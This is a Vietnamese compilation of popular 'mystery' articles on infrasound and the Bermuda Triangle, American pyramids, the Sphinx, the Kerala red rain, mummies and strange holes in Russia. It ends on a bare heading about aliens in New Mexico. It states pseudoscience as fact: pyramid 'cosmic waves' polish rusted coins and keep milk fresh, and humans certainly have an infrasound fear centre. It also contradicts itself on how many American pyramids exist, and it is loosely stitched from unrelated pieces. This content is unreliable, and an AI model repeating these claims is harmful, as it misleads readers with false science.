Sóng hạ âm có thể truyền dưới nước, còn cấu trúc hội tụ có thể hình thành ở thềm lục địa. Nguồn gốc của các sóng hạ âm cũng có thể là các núi lửa hoạt động ngầm dưới biển và động đất. Dĩ nhiên, hình dạng của các tấm gương phản chiếu sóng hạ âm ở thềm lục địa không hoàn chỉnh. Với kích thước tương đương bước sóng, cấu trúc thềm lục địa cũng có thể có tính chất cộng hưởng. Cần phải nghiên cứu mối liên hệ giữa tham số của các nguồn phát ra sóng hạ âm và sự phân bố cường độ sóng hạ âm trong mỗi một khu vực bị nghi là có hiện tượng dị thường. Quy luật hình thành các khu vực nguy hiểm quyết định tính chất của các biện pháp phòng ngừa.

Ảnh hưởng của sóng hạ âm đối với con người không chỉ hạn chế ở tác động trực tiếp đối với cơ thể, như đối với hệ thần kinh. Trong quá trình tiến hoá của con người, chắc chắn đã hình thành một trung tâm xúc cảm với sóng hạ âm nhằm báo động trước động đất và núi lửa. Tập hợp các phản ứng cần phải có khi xảy ra tác động bên ngoài vào trung tâm này có thể xác định được, khi biết chức năng của các phản ứng đó là để bảo đảm con người sống sót an toàn mỗi khi bị các tai nạn tương tự. Vậy đó là phản ứng gì? Có thể nêu tên các phản ứng sau: né tránh không gian khép kín để không bị rơi vào tình trạng chết chất đống, xu hướng chạy ra xa các đối tượng có thể bị đổ vỡ. Nói tóm lại, con người có xu hướng chạy đi bất cứ đâu để tránh khu vực có thảm họa. Dĩ nhiên, tất cả những hành động đó đều kéo theo cảm xúc sợ hãi.

Có thể quan sát được các phản ứng tương tự ở nhiều động vật, như chó biết cứu các em nhỏ trước khi xảy ra động đất. Đồng thời, khi bị tác động trực tiếp vào cơ thể, sẽ xuất hiện các phản ứng không cụ thể như suy kiệt, mệt mỏi và rối loạn giống như khi bị tác động của tia X quang và sóng vô tuyến tần số cao. Ngày nay, con người đã không còn nhạy cảm với sóng hạ âm, nhưng khi bị tác động của sóng hạ âm cường độ lớn, hệ thống bảo vệ từ xa có thể bị kích động và lấn át khả năng hành động tỉnh táo. Nếu sự sợ hãi không phải do các biểu tượng bên ngoài gây ra thì có thể xuất phát từ bên trong. Con người sẽ cảm thấy một xúc cảm sợ hãi vô thức. Điều này được chứng minh qua những lời nói cuối cùng của các phi công và thuỷ thủ khi bị chết trong vùng Tam giác quỷ, như: "Bầu trời thật khác lạ", "Mặt biển thật khác lạ, một điều khủng khiếp đang xảy"... Nếu sự sợ hãi do các biểu tượng bên ngoài gây nên thì những người dũng cảm đã quen với nỗi sợ hãi có thể kịp phát đi các thông báo cụ thể. Phụ thuộc vào cường độ của sóng hạ âm, những người ở trên tàu có thể cảm thấy sợ hãi ở các mức độ khác nhau. Họ có thể ngồi vào xuồng bơi khỏi tàu hoặc chạy lên bong. Với cường độ sóng hạ âm cực lớn, họ có thể bị chết như đã từng được mô tả.


Kim tu thap o Mexico

Bí ẩn của Kim Tự Tháp châu Mỹ - 21/4/2006 8h:4

Nói đến Kim Tự Tháp chắc hẳn mọi người sẽ nghĩ tới Ai Cập. Ở miền Bắc châu Mỹ La Tinh từ Mexico đến Nicaragua, có số Kim Tự Tháp vượt xa tổng số Kim Tự Tháp của Ai Cập. Nhưng tại sao Kim Tự Tháp Ai Cập lại nổi tiếng khắp năm châu bốn biển, còn Kim Tự Tháp châu Mỹ lại ít người biết đến?

Nguyên nhân là do bộ lạc dân tộc xây dựng Kim Tự Tháp, trước sau đều đột nhiên biến mất. Tất cả các Kim Tự Tháp và hàng trăm thành phố, thị trấn lớn nhỏ vây quanh chúng cũng bị rừng rậm nhiệt đới nuốt, trong đó đại bộ phận bị chìm sâu trong lòng bùn đất, biến mất khỏi tầm mắt con người.


Kim Tự Tháp Teotihuacán, Mexico (Ảnh: redhaus)

Đầu thế kỷ XX, một cuộc khai quật khảo cổ với quy mô lớn, bước đầu con người đã vén được bức mạng che mặt của Kim Tự Tháp châu Mỹ. Châu Mỹ có khoảng 20 Kim Tự Tháp to nhỏ, được xây dựng vào thế kỷ XIV trước Công nguyên đến thế kỷ VIII trước Công nguyên. Từ quy mô hùng vĩ và nghệ thuật kiến trúc điêu luyện của Kim Tự Tháp châu Mỹ, người ta nhận thấy vẻ đẹp của chúng không kém vẻ đẹp của Kim Tự Tháp Ai Cập, thậm chí có Kim Tự Tháp còn vượt cả Kim Tự Tháp Ai Cập.

Kim Tự Tháp Ai Cập là phần mộ của các Pharaon, nhưng Kim Tự Tháp của châu Mỹ lại không phải như thế. Kim Tự Tháp châu Mỹ đại bộ phận là tế đàn để hiến tế các vị thần thánh và cúng lễ. Kim Tự Tháp do các khối hình vuông tạo thành, từng tầng một xếp chồng lên nhau, thu nhỏ dần lên phía trên; có 4-5 tầng, có cái tới 20 tầng; cao nhất tới 80m. Xung quanh tháp hoặc 2 mặt tháp là các bậc đá dốc đứng. Theo từng bậc, người ta có thể lên tới đỉnh tháp, trên đỉnh tháp rộng rãi đều lập tế đàn hoặc xây dựng miếu thần. Ngoài việc tiến hành nghi lễ tế lễ thần vào các ngày tế lễ đặc biệt để cầu xin giải trừ thiên tai ra, một ngày người ta còn lên đỉnh tháp thờ cúng thiên thần 4 lần. Bên trong Kim Tự Tháp được đắp bằng đất, cát, sỏi, đá - đây là điều khác biệt với Kim Tự Tháp Ai Cập.

Sphinx

Tượng Sphinx nằm ở sa mạc Ai Cập cách thủ đô Cairo khoảng 8 dặm, được người xưa dùng để canh gác ba kim tự tháp lớn ở Gizah. Đó là một quái vật tạc bằng đá, đầu người mình sư tử với những chân có vuốt trải ra phía trước.


Tượng Sphinx (Ảnh: bigpond)

Hình tượng chạm trổ sơ sài nhưng đầu lại được tạc một cách rất công phu. Đôi mắt đầy vẻ bí hiểm và có cái nhìn không ai có thể giải thích nổi. Mắt con Sphinx nhìn chằm chằm ra phía sa mạc với cái vẻ kênh kiệu khó hiểu. Tượng cao hơn 18 mét và trải dài tới 57 mét, mặt có bề ngang 5 mét, tại 1,57 mét, mũi 1,7mét.

Người ta cho rằng tượng Sphinx đã tồn tại ít nhất 5.000 năm nay! Tại sao lại thiết kế tượng này? Một bằng chứng mà ta có được xuất phát từ việc tìm thấy một am thờ nằm giữa những cái chân của quái vật này. Am thờ nhỏ này có bút tích của hai vị hoàng đế cổ Ai Cập. Hai vị giải thích rằng tượng Sphinx biểu thị một trong những hình dạng của thần Mặt trời Harmachis. Và hai vị còn nói rằng mục đích làm tượng Sphinx là để xua đuổi tất cả những điều bạo ác, tội lỗi khỏi khu nghĩa địa quanh kim tự tháp.

Ở Ai Cập có nhiều tượng Sphinx, ngoài tượng Sphinx lớn ở Gizah. Đầu tượng biểu thị các vị hoàng đế. Trong các sách thánh của người Ai Cập, Sphinx có nghĩa là “vua chúa”.

Đối với các tôn giáo nguyên thủy ở Ai Cập cũng như ở các nơi khác, nhà vua được coi là sức mạnh và sự khôn ngoan của nhiều con thú bằng cách khoác cái lốt của chúng. Vì vậy người Ai Cập đã chạm các vị thần và các vị hoàng đế của họ nửa người, nửa thú.

Quan niệm về Sphinx đã từ Ai Cập truyền tới các nền văn minh khác, chẳng hạn như Assyria và Hy Lạp. Ở các vùng này, Sphinx thường có thêm cánh. Ở Assyria Sphinx thường là đàn ông, nhưng ở Hy Lạp Sphinx lại có đầu đàn bà.

Người Hy Lạp có một câu chuyện truyền thuyết về Sphinx như sau: Sphinx sống trên một tảng đá và giết bất cứ người nào đi qua mà không trả lời được câu đố sau đây: “Cái gì đã đi bằng bốn chân vào buổi sáng, đi bằng hai chân vào buổi trưa, đi bằng ba chân vào ban đêm?”. Ocdipus trả lời rằng đó là con người, bò bằng cả bốn chân tay khi là đứa trẻ, đi thẳng người trên hai chân khi là người lớn và đi với cây gậy khi đã già.

Đó là câu trả lời đúng, do đó con Sphinx điên tiết lên đã lao từ trên tảng đá xuống và chết. có nguồn khác thì cho rằng: do Sphinx là học trò của nữ thần thông thái ! nữ thần từng phán rằng, nếu ai giải được câu đó của Sphinx thì Sphinx sẽ phải chết!

Mua mau o An Do

Tháng 7/2001, một trận mưa màu đỏ như máu bí ẩn trút xuống một khu vực rộng lớn ở miền Nam Ấn Độ. Song ngạc nhiên hơn nữa trong hạt mưa các nhà khoa học đã phát hiện những tế bào sống không có AND (thành phần cơ bản của sự sống trên trái đất). Phải chăng đây là nhưng bằng chứng xác thực đầu tiên về sự hiện diện của sự sống ngoài trái đất.


Tiến sĩ Godfrey Louis
(Ảnh: education.vsnl.com)

Người dân địa phương tin đó là điềm báo trước sự tận thế của thế giới, mặc dù đã có sự giải thích chính thức hiện tượng là ảnh hưởng của bụi sa mạc thổi đến từ Arập.

Nhưng một nhà khoa học trong khu vực, Tiến sĩ Godfrey Louis, nhà vật lý học tại Đại học Mahatma Gandhi, cho rằng có điều gì đó bất thường đã xảy ra. Tiến sĩ Louis không chỉ khám phá sự hiện diện của các tế bào sinh học bé nhỏ trong nước mưa, song vì nó không chứa ADN - thành phần chủ yếu của mọi dạng sống trên trái đất - nên Louis lập luận rằng có thể nó là các dạng sống ngoài hành tinh. Trước Louis vài thập niên đã có hai nhà khoa học Anh đưa ra lý thuyết này.

Một cách rõ ràng, Louis có được các cấu trúc kỳ lạ, thành dày, màu đỏ giống như tế bào, kích thước khoảng 10 micron. Điều lạ lùng hơn, hàng chục thí nghiệm của Louis cho thấy rằng các phần tử có thể thiếu ADN, tuy nhiên vẫn còn khả năng sinh sản dồi dào, thậm chí chúng có thể tồn tại trong nước ở 300oC (Được biết giới hạn cao nhất cho sự sống trong nước là khoảng 120oC).

Làm thế nào để giải thích hiện tượng này? Tiến sĩ Louis suy luận rằng các phần tử có thể là vi khuẩn ngoài trái đất thích ứng với những điều kiện khắc nghiệt trong không gian và các vi khuẩn bị bám vào sao chổi hay thiên thạch rồi sau đó vỡ ra trong khí quyển trên cao và hòa vào các đám mây gây mưa bên trên vùng trời Ấn Độ.

Nếu lý thuyết của Louis là đúng, thì các tế bào này sẽ là bằng chứng đầu tiên được chứng minh về sự sống ngoài hành tinh và từ đó có thể là bằng chứng mới về nguồn gốc sự sống trên trái đất (?).

Năm 2005, Louis đã gửi vài mẫu thí nghiệm đến nhà thiên văn học Anh gốc Sri Lanka Chandra Wickramasinghe và đồng nghiệp ở Đại học Cardiff ở xứ Wales và họ hiện đang thử nghiệm tái tạo các mẫu vật.

Qua nghiên cứu Wickramasinghe cho biết: “Chúng tôi có những bức ảnh tuyệt hay về những tế bào cắt lát ở giữa này. Chúng tôi nhìn thấy chúng sinh sôi, với tế bào nhỏ trong tế bào lớn”.

Lý thuyết của Louis đặc biệt hấp dẫn đối với Wickramasinghe. Cách đây 1/4 thế kỷ, Giáo sư Wickramasinghe là đồng tác giả với Sir Fred Hoyle về Thuyết tha sinh hiện đại, ý tưởng cho rằng sự sống trên trái đất có nguồn gốc từ hành tinh khác.

Giáo sư Wickramasinghe nói: “Nếu đúng là sự sống được sao chổi đưa vào trái đất cách đây 4 tỉ năm, thì có thể cho rằng thỉnh thoảng các vi sinh vật vẫn tiếp tục thâm nhập môi trường chúng ta. Đây có lẽ là một trong những sự kiện này”. Nhà vi sinh vật học Milton Wainwright của Đại học Sheffield, thành viên trong đội khoa học nghiên cứu các mẫu của Louis, giải thích rằng bước tiếp theo sẽ là xác định xem liệu có phải các tế bào thiếu ADN hay không.


Tế bào "ngoài hành tinh" phóng đại 500 lần dưới kính hiển vi
(Ảnh: sinia-planeta.com)

Wainwright giải thích: “Bởi vì sự sống như chúng ta biết nó phải chứa ADN, hoặc đó không là sự sống. Nhưng cho dù sinh vật này được chứng minh là bất thường, thì sự vắng mặt ADN cũng không có nghĩa là nó đến từ hành tinh khác”.

Louis và Wickramasinghe đang lên kế hoạch nghiên cứu xa hơn để test các tế bào bằng chất đồng vị carbon. Nếu kết quả cho thấy chúng nằm ngoài chuẩn mực sự sống trên trái đất thì đó sẽ là bằng chứng thuyết phục cho thuyết của Louis.

Giáo sư Wickramasinghe đã lên đường đến Ấn Độ để trực tiếp điều tra hiện tượng mưa màu đỏ. Ông gặp Tiến sĩ Louis và cả hai cùng đến thăm những người chứng kiến trận mưa đỏ.

Nghiên cứu của Louis cho thấy mưa đỏ có thể tái tạo ở 300oC, một thuộc tính chủ yếu của vi sinh vật ngoài không gian chịu được nhiệt độ cực cao. Tất cả những điều đó càng làm cho Giáo sư Wickramasinghe tin rằng mưa đỏ là một dạng sự sống ngoài hành tinh.

G
Nhà thiên văn học Chandra Wickramasinghe (Ảnh: BBC)

iáo sư nói: “Trước khi đến Ấn Độ, tôi đã nghi ngờ không biết trận mưa màu đỏ thật sự có là dấu hiệu của một dạng sống đến từ không gian hay không. Nhưng sau khi tiếp xúc với Godfrey, tôi tin rằng trận mưa đỏ thể hiện sự xâm nhập của vi khuẩn từ không gian”.

Tuy nhiên, nhiều nhà khoa học vẫn còn hoài nghi lý thuyết của Thuyết tha sinh. Mặc dù thế nào, Giáo sư Wickramasinghe vẫn tin tưởng vào lý thuyết của mình. Ông nói: “Tôi hoàn toàn tin rằng chúng tôi đúng. Nếu một lý thuyết là sai, thì sớm muộn gì nó cũng gây xung đột với các quan sát. Nhưng mọi chuyện đã xảy ra từ năm 1977 - khi lần đầu chúng tôi đưa ra các ý tưởng này - và đang dần được xác định, chứ không có sự phản bác hay chứng minh ngược lại”.

Nhưng, có không ít nhà khoa học còn phê phán mạnh mẽ Giáo sư Wickramasinghe vì ông tuyên bố virus gây nên hội chứng hô hấp Sars trầm trọng năm 2003 và cúm gà năm 2000 là đến từ không gian!

Đã trải qua 3 thập niên, Giáo sư Wickramasinghe nhận được nhiều thư từ và các cuộc điện thoại mang tính đe dọa đối với các ý tưởng của ông, nhưng Thuyết tha sinh của giáo sư hiện đang ngày càng được chấp nhận hơn.

Bằng chứng là ngày càng có nhiều đầu tư vào việc tìm kiếm sự sống ngoài không gian. Theo Giáo sư Wickramasinghe, sự hoài nghi và chỉ trích của giới khoa học chủ yếu là thái độ của thời kỳ tiền Copernic.

Trước giữa thế kỷ XV, người ta nghĩ rằng trái đất là trung tâm của vũ trụ. Galileo và Copernic cùng với những người khác lúc đó đã bác bỏ quan điểm này, song phải trải qua một cuộc đấu tranh dài con người mới từ bỏ được quan điểm trái đất là trung tâm. Giáo sư Wickramasinghe nói: “Tôi nghĩ vũ trụ có đầy rẫy sự sống có tri giác... và sớm muộn gì chúng ta cũng sẽ tiếp xúc được với trí thông minh ngoài hành tinh”

Xac uop

Cách trung tâm thành phố Kiép thủ đô nước Cộng hòa Ukraina khoảng 50 km về phía bắc có một nhà mồ nổi tiếng bởi có hàng trăm xác ướp nhưng kỳ lạ vì những xác ướp lại được bảo quản trong một điều kiện hết sức đơn giản của tự nhiên chứ không phải trong những Kim tự tháp.

Bên cạnh dòng sông hung dữ là một dãy núi cao sừng sững. Người xưa đào vào lòng đất những đường hầm rộng và rích rắc chạy dài theo triền núi. Cách một đoạn, phần thành hầm ở trên cao được khoét vuông vắn sâu thêm vào lòng đất vừa vặn đặt được một cỗ quan tài và đó chính là nơi yên nghỉ của người quá cố. Gọi là quan tài nhưng không có tấm ván thiên mà chỉ có một khung và lưới hình chóp chữ nhật cụt hay hình vòm mà qua tấm lưới có thể chiêm ngưỡng rất rõ ràng dung mạo người quá cố. Có khi, quan tài một khúc gỗ khoét lõm và khung lưới đặt trực tiếp lên trên, nom như chiếc “giường”.


Xác ướp tại Viện bảo tàng Ai Cập.
(Ảnh: 2travel2egypt)

Tất cả những chiếc “giường ngủ” ở đây đều được trang trí rất đẹp. Đi trong nhà mồ có cảm giác mát lạnh. Tất cả những xác chết ở đây đều cùng một màu nâu đen khô quắt lại. Lạ là không có dù chỉ là tí chút mùi của chết chóc, ngay đến cả mùi ẩm mốc cũng không hề có. Lũ trẻ tan học về trên đường ngang qua nhà mồ thường vứt cặp sách trên mặt đất rồi chạy xuống nhà mồ chơi trò đuổi bắt như thể đây là một chỗ vui chơi của chúng. Thỉnh thoảng lại có những người đến thăm người quá cố là tổ tiên của họ...

Người ta thấy rằng trong Kim tự tháp Ai Cập có những hiện tượng kỳ lạ. Chẳng hạn để trong tháp một đồng tiền kim loại đã rỉ, chừng hơn một tháng sau nó sáng lại như còn mới. Sữa tươi vừa vắt ra từ một con bò nếu để bên ngoài tháp thì hỏng, còn để trong tháp mùi vị vẫn bình thường với khoảng thời gian như nhau. Trái cây và rau xanh để trong tháp khoảng 15 ngày vẫn tươi, không khô héo. Hai cây cà chua cùng trồng một lúc, cây trong tháp ra hoa kết quả trước cây ngoài trời...

Nhưng đó là không khí bên trong Kim tự tháp, những công trình kiến trúc vĩ đại cả về văn hóa, tiền của, sức người, trí tuệ, thời gian xây dựng cũng như tồn tại và đặc biệt được cho là hấp thụ “sóng vũ trụ” nào đó qua các cửa và lỗ thông hơi hướng về phương Bắc, nên mới tạo ra một môi trường có thể gìn giữ thi thể các Pharaoh hàng nghìn năm. Còn ở đây rõ ràng không phải Kim tự tháp, mà chỉ là một nhà mồ được đào trong lòng đất hết sức mộc mạc, nhưng những xác người ở đây đã tồn tại hàng nghìn năm...

Điều gì làm các xác chết trường tồn với thời gian? Do thuật ướp xác? Do môi trường lưu giữ xác? Hay vì cả hai? Đó là những câu hỏi lớn mà sau nhiều thập kỷ tìm tòi vẫn chưa có lời giải đáp hoàn toàn chính xác. Hiện thời, đã biết nhiều cách ướp xác khác nhau và mặc nhiên thừa nhận đi tiên phong trong lĩnh vực này nói riêng và y học nói chung là người Ai Cập cổ đại.

Nhiều thành tựu y học ghi trên giấy papyrus chứng tỏ người Ai Cập cổ hiểu biết khá rõ về cơ thể người. Họ rất coi trọng việc thờ người chết vì cho rằng, người tuy chết nhưng linh hồn là bất tử. Trong mỗi con người đều có một hình bóng giống như mình khi soi gương gọi là linh hồn (ka), khi ra đời linh hồn chui vào thân xác, khi chết linh hồn rời khỏi xác nhưng vẫn tồn tại. Linh hồn chỉ bị chết hẳn khi thể xác hủy nát. Nếu thân xác nguyên vẹn thì đến một lúc nào đó linh hồn lại nhập vào xác và con người sẽ sống lại. Tín ngưỡng này thể hiện trong chuyện thần thoại về Thần Orisis (Thần sông Nin) và Thần Seth (Thần Sa mạc).

Thuật ướp xác đã ra đời như thế và được cho là xuất hiện từ thời kỳ Cổ vương quốc (khoảng 3000 – 2200 TCN) và duy trì đến TK V. Người chuyên nghề ướp xác dùng một cái móc đưa qua đường mũi lên đầu để lấy hết não, rồi rửa sạch khoang sọ bằng một loại nước sắc nhiều cây cỏ thơm và rượu... Ngực và bụng được mổ bằng dao đá rất sắc để lấy hết phủ tạng, chỉ còn tim được giữ nguyên trong lồng ngực vì tim được coi là nơi sinh ra thông minh và tình cảm nên phải được giữ lại để chờ ngày phán xử cuối cùng.

Khoang ngực, bụng cũng được đổ đầy nước hương liệu và rượu rồi khâu lại. Xác được ngâm trong nước muối khoảng 70 ngày nên teo nhỏ lại chỉ còn da bọc xương. Sau đó được xoa bằng dầu thơm và một dung dịch đặc biệt rồi được bó chặt bằng vải, có khi ngực, bụng còn được nhồi mạt cưa tẩm hương liệu (lại có nhà nghiên cứu cho rằng, sau khi xử lý não và phủ tạng, xác được chôn hoặc đặt trong hang không có gió khoảng 70 ngày, rồi bó bằng vải tẩm nhựa cây). Các ngón tay được lồng vào túi bằng vàng để khỏi rơi rụng. Đầu quan tài (bằng đá) người ta tạc khuôn mặt người quá cố, thân quan tài chạm hình quần áo để dễ nhận ra phần xác của mình, vì thế nhìn quan tài có hình người không có tay chân, bên cạnh mồ còn dựng tượng người chết bằng đá hoặc gỗ.


Xác ướp của một Pharaoh (Ảnh: crystalinks)

Thuở sơ khai, ướp xác là một nghi táng bất khả xâm phạm của Vua và Hoàng hậu. Từ khoảng 1500 năm TCN, giới quý tộc mới được phép dùng nghi táng này. Sau đó tục này lan đến những người giàu có và đến cả tầng lớp bình dân. Tuy nhiên, trong tục này cũng có phân biệt đẳng cấp: Vua chúa dùng kỹ thuật ướp phức tạp nhất, sau đến giới quý tộc và nhà giàu, tất nhiên phải trả một khoản tiền lớn, còn tầng lớp bình dân thì không phải trả tiền nhưng kỹ thuật ướp đơn giản nhất bằng dung dịch kiềm tính, và trát một lớp vôi bên ngoài.

Năm 1996, ở gần vùng El Bawiti phát hiện khoảng 10.000 xác ướp có niên đại 300 năm TCN đến 300 sau CN. Viện Bảo tàng Ai Cập ở Cairo hiện đang trưng bày xác ướp 26 Pharaoh cách chúng ta khoảng 4.000 – 5.000 năm nhưng tình trạng các xác vẫn rất tốt. Gần đây, các nhà khảo cổ Nhật Bản khai quật một xác ướp nguyên vẹn trong một ngôi mộ chưa bị xâm hại ở Nam Đasơ, Ai Cập. Ông Sakugi Yosimura, nhà nghiên cứu hàng đầu Đại học Oaxeđa, Tokyo cho biết, xác người đàn ông này được ướp trước triều đại Pharaoh Tulankhamen (khoảng 1336 – 1327 TCN).

Người Ukraina và châu Âu có cách ướp xác riêng của mình hay học của người Ai Cập? Câu hỏi này hiện vẫn chưa có lời giải đáp thỏa đáng. Nhưng người ta thiên về giả thiết thứ hai bởi thời Cổ đại, phương Đông và phương Tây với hai nền văn minh rực rỡ đã có sự giao lưu. Người Phenixi (Liban ngày nay) đã đi lại buôn bán khắp Địa Trung Hải từ TK XI TCN; đến TK VI TCN.

Các nhà khoa học Hy Lạp cổ đại Pitago, Talet đã đi du lịch Ai Cập, Lưỡng Hà; TK V TCN nhà sử học Hy Lạp Herodot đi du lịch nhiều nơi ở phương Đông. Cuối TK IV TCN, Alexandre Makedonia chinh phục phương Đông (đến tận tây bắc Ấn Độ) gọi là thời kỳ Hy Lạp hóa (334 – 30 TCN) và hình thành những quốc gia Hy Lạp hóa trong đó có Ai Cập. Có lúc Ai Cập chỉ là một tỉnh của La Mã.

Thời kỳ Trung đại, châu Âu suy thoái nên lạc hậu hơn phương Đông về mọi mặt. Nhà nước Arập thành lập từ TK VII, đến TK VIII trở thành một đế quốc rộng lớn trải dài trên ba châu Á, Âu, Phi từ lưu vực sông Indus đến Tây Ban Nha và là cầu nối giữa các nền văn minh Ấn Độ, Trung Quốc, Tây Âu nên việc học tập, trao đổi lẫn nhau những thành tựu khoa học, trong đó có cách ướp xác là một tất yếu. Do phát động của Giáo hoàng La Mã, từ TK XI – XIII các nước Tây Âu đã có 8 cuộc viễn chinh phương Đông bởi những kị sĩ trên áo có hình cây thánh giá. Các cuộc thập tự chinh cũng là một cầu nối khác cho văn minh Đông – Tây.

Tuy nhiên, ở nước Nga xưa kia có một cách ướp xác hoàn toàn khác với phương pháp truyền thống do nhà khoa học, bác sĩ Vyvodxev phát minh sử dụng chất hóa học, đó là các chất Glycerin, acid Phenic, cồn và long não.

Cho đến nay, phương pháp này mới chỉ phát hiện được duy nhất một xác ướp là nhà phẫu thuật Nga nổi tiếng thế giới N.I.Pirogov. Xác ướp nhà phẫu thuật đã qua 124 năm và chỉ được bảo quản sơ sài trong hầm mộ một nhà thờ nhỏ ở ngoại ô Vinxina, dù khuôn mặt và hai bàn tay của ông để hở trong không khí nhưng màu sắc hầu như không biến đổi.

Điều đặc biệt là các phủ tạng của Pirogov vẫn được giữ nguyên trong cơ thể? Thế nhưng, hiện thời vẫn chưa biết được tỉ lệ các chất mà Tiến sĩ Vyvodxev đã pha chế thành dung dịch ướp và cách xử lý cũng như những cách bảo vệ xác mà ông đã sử dụng

Ở Việt Nam, nhiều người đã biết đến hai pho tượng giáp cốt ở chùa Đậu, Thường Tín, Hà Tây, là xác ướp để trong môi trường không khí bình thường chịu nhiều tác động thường xuyên và lâu dài của nhiệt độ, độ ẩm không khí, nghĩa là điều kiện bảo quản xác khó nhất. Những pho tượng xác ướp như thế này có thể thấy ở Tây Tạng, Nhật Bản, Việt Nam thường là di cốt những nhà sư chân tu.

Năm 2005, khi khai quật ở cánh đồng đào Nhật Tân, Hà Nội đã mục sở thị một xác ướp khô nhưng vẫn nguyên vẹn sau 10 ngày lộ thiên chịu tác động của nắng mưa. Dù tấm thiên đã bị phá, nước đã vào quan tài nhưng xác ướp cách chúng ta khoảng 200 năm vẫn khô quắt, nguyên vẹn cả nội tạng, râu tóc; quần áo, chăn gối, vải chèn vẫn còn giữ được màu trắng. Đặc biệt là từ những đồ liệm này bay ra một mùi thơm và còn lưu lại rất lâu. Các nhà khảo cổ Việt Nam đã lập hồ sơ 75 ngôi mộ xác ướp nhưng chưa có điều kiện khai quật. Họ cho rằng, cách ướp xác thường được sử dụng ở Trung Quốc và Việt Nam là phương pháp ngâm xác vào dung dịch ướp và cũng là trong môi trường yếm khí (không có không khí).


Xác ướp khai quật ở Nhật Tân (Hà Nội) sau 10 ngày lộ thiên ngấm nước
vẫn còn nguyên vẹn. (Ảnh: CAND)

Cốt lõi của phương pháp ướp này là làm cơ thể trở thành môi trường vô khuẩn. Khi người được ướp xác hấp hối thì cho uống thuốc hồi dương (chủ yếu là quế chi) để nhiệt độ cơ thể giảm chậm trong một thời gian sau khi chết và hạn chế vi khuẩn đường ruột. Lúc ngừng thở sẽ đổ khoảng một lít rượu nếp mạnh vào miệng để sát khuẩn đường tiêu hóa. Người ta cho rằng rượu có tác dụng giữ cho mô cơ thể không bị phân hủy. Người quá cố được tắm bằng nước ngũ vị hương nhằm diệt khuẩn trên da, rồi mặc quần áo tẩm hương liệu, liệm bằng nhiều lớp vải lụa để tránh không khí tác động và nhập quan rất nhanh. Áo quan phải ghép rất kín và sơn trong ngoài để lượng không khí trong áo quan thấp nhất. Trong quan tài ngôi mộ Nhật Tân có dịch màu xanh đen xỉn được cho là dung dịch ướp. Cách ướp này thường sử dụng tinh dầu mà ngày nay phân tích biết là tinh dầu thông, bạch đàn, khuynh diệp, những chất lưu giữ mùi thơm rất lâu. Những phát hiện trên đã khẳng định người Việt Nam xưa đã nắm được kỹ thuật ướp xác hoàn hảo và tinh tế. Chỉ tiếc là hiện các nhà khoa học chưa tìm được bằng chứng về nguồn gốc và bí mật thuật ướp xác của người Việt.

Những xác ướp tự nhiên dưới góc nhìn pháp y

Ở thành phố Guanajuato, Mexico có một nghĩa địa lưu giữ 117 xác chết khô đét như được ướp, xác chết cách chúng ta nhất khoảng 140 năm. Những xác chết này không hề được ướp mà chôn cất bình thường. Nhưng do khí hậu ở đây rất khô và trong đất có rất nhiều chất khoáng, nên xác chôn không hề phân hủy mà teo quắt lại và rất rắn. Dân chúng lấy nơi đây để mai táng những ai không muốn trở về “cát bụi”. Hiện tượng này có thể giải thích đầy đủ là do khí hậu khô nóng, đất có nhiều khoáng chất là môi trường mà vi khuẩn không thể hoạt động được. Vì thế xác không bị phân hủy mà dần khô đét lại.


Một xác ướp tại thành phố Guanajuato, Mexico (Ảnh: rayjeanne)

Các nhà pháp y gọi những trường hợp này là xác tượng hóa (momification). Tuy nhiên, ở vùng khí hậu nhiệt đới gió mùa nhiệt độ và độ ẩm cao như Việt Nam vẫn có không ít những xác chết sau 3 năm chôn cất thông thường hoặc lâu hơn vẫn còn nguyên vẹn phần mềm mà nhân dân thường gọi là mả kết, và hiện tượng này được gán cho những ý nghĩa không đúng theo quan niệm mê tín của mình.

Khi người chết được chôn cất theo phương pháp truyền thống xưa nay, nếu nhiệt độ, môi trường thuận lợi, các loại vi khuẩn có sẵn trong cơ thể, trong đất sẽ sinh sôi rất nhanh và phần mềm của xác là nguồn dinh dưỡng lý tưởng để chúng phát triển. Nơi chôn cất nhiều nước thì phần mềm càng tiêu biến nhanh. Tuy nhiên, nếu vùng đất mai táng có nhiều ion natri, kali, canxi, manhê, mangan, sunfat... ngoài việc có tác dụng sát khuẩn trong đất, các ion này ngấm vào cơ thể và liên kết với chất glycerin, axít béo phân hủy từ mỡ để thành xà phòng gọi là hiện tượng xà phòng hóa.

Hầu hết các xác đều có hiện tượng này nhưng vì chất xà phòng ít, không đủ để ngăn cản tác động phân hủy của vi khuẩn, cuối cùng chỉ còn lại phần cứng. Một số ít xác xà phòng hóa mạnh toàn bộ nên cơ thể trở thành môi trường sát khuẩn hữu hiệu. Da xác có màu vàng, cứng, khó cắt, mùi khó chịu. Vai trò phân hủy phần mềm rất cần thiết và duy nhất chỉ có vi khuẩn làm được không còn ý nghĩa. Vì thế sau ba năm thay áo cho người chết thấy vẫn còn nguyên vẹn.

Tương tự, ở vùng núi đá vôi có hiện tượng xác hóa đá mà vai trò chính là ion canxi và sunfat. Nếu chôn cất ở nơi cao, khô nóng xác cũng phân hủy rất chậm... Người giám định pháp y thấy được giá trị bảo tồn những thương tích, bệnh lý ở các xác dạng này để tính toán có nên khai quật giúp cho điều tra vụ án? Còn người dân giải thích hiện tượng bằng quan niệm mê tín của mình!

Kiên Cường


Nhung ho tron bi an o Nga

Sự việc kỳ lạ liên tiếp xuất hiện kể từ cuối những năm 1980: giữa rừng già heo hút, người ta tìm thấy những cái hang sâu hoắm, thành hang nhắn thín và trơn tuột như thể hang lươn.

Điều khó hiểu ở chỗ: những hố tròn khổng lồ luôn tọa lạc tại vị trí hẻo lánh nhất của khu rừng, cũng là nơi cây cối rậm rạp và um tùm nhất. Việc đem ra tải, xe xúc hay bất kỳ công cụ đào bới nào vào đây mà không để lại dấu vết khó ngang chuyện... lên trời. Hơn nữa, cũng không hề có bất cứ dấu tích nào của đất đá đào xới xung quanh. Như thể có bàn tay vô hình khổng lồ đã thọc tay vào lòng đất.

Rất nhiều đội thám hiểm đã tìm tới đây và dùng dây chằng đưa người xuống hố, những mong làm sáng tỏ điều bí ẩn hơn 2 chục năm qua. Rốt cục họ đều trở về tay trắng: lòng hố tối đen như hũ nút và sâu tưởng chừng như không bao giờ chạm đáy.

Những lỗ tròn này được tạo ra như thế nào, do ai, vì mục đích gì... tất cả câu trả lời còn nằm trong vòng bí hiểm.

Nguoi ngoai hanh tinh o new-mexico

